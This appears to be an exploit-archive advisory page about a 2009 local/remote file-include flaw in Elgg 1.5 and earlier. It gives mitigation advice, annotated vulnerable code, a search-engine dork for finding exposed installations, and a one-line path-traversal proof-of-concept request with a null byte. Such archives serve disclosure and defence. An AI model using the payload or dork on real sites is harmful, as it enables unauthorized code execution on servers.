Elgg - exploit.company

vendor:

Elgg

by:

milw0rm.com

9,3

CVSS

HIGH

Remote File Include

CWE

Product Name: Elgg

Affected Version From: 1.5

Affected Version To: 1.5

Patch Exists: YES

Related CWE: N/A

CPE: elgg.org

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Elgg <= 1.5 Remote File Include Vulnerability

A remote file include vulnerability exists in Elgg version 1.5 and below. An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable application. This can allow the attacker to include a remote file containing arbitrary code and execute it in the context of the webserver process.

Mitigation:

Upgrade to the latest version of Elgg. Ensure that the 'simplecache_enabled' value is set to 0 in the 'datalists' table.

Source

Exploit-DB raw data:

Product: elgg.org
Version: <= 1.5
Dork: "Powered by Elgg, the leading open source social networking platform"

eLwaux(c)2009
UASC.org.UA

POC: /_css/js.php?js=../../../../tmp/session_dir%00&viewtype=xD

need: in table `datalists` must be record `simplecache_enabled` = 0
(default  `simplecache_enabled ` = 1)

Vulnerability Code:
-----------------------------------------------------------------------
/_css/js.php:
     33:     $viewinput['view'] = 'js/' . $_GET['js'];
     42:     require_once(dirname(dirname(__FILE__)) . '/simplecache/view.php');
/simplecache/view.php:
     26:     $view = $viewinput['view'];
     30:     if (@mysql_select_db($CONFIG->dbname,$mysql_dblink)) {
     48:         if ($simplecache_enabled || $override) {
     49:             $filename = $dataroot . 'views_simplecache/' .  md5($viewtype . $view);
     51:             $contents = file_get_contents($filename);
     56:         } else {
     59:             $contents = elgg_view($view);
/lib/elgglib.php:
     237:    function elgg_view($view, ..
     317:        foreach($viewlist as $priority => $view) {
     321:                if (file_exists($view_location .  "{$viewtype}/{$view}.php") &&
                             !include($view_location .  "{$viewtype}/{$view}.php")) {
-----------------------------------------------------------------------

# milw0rm.com [2009-08-04]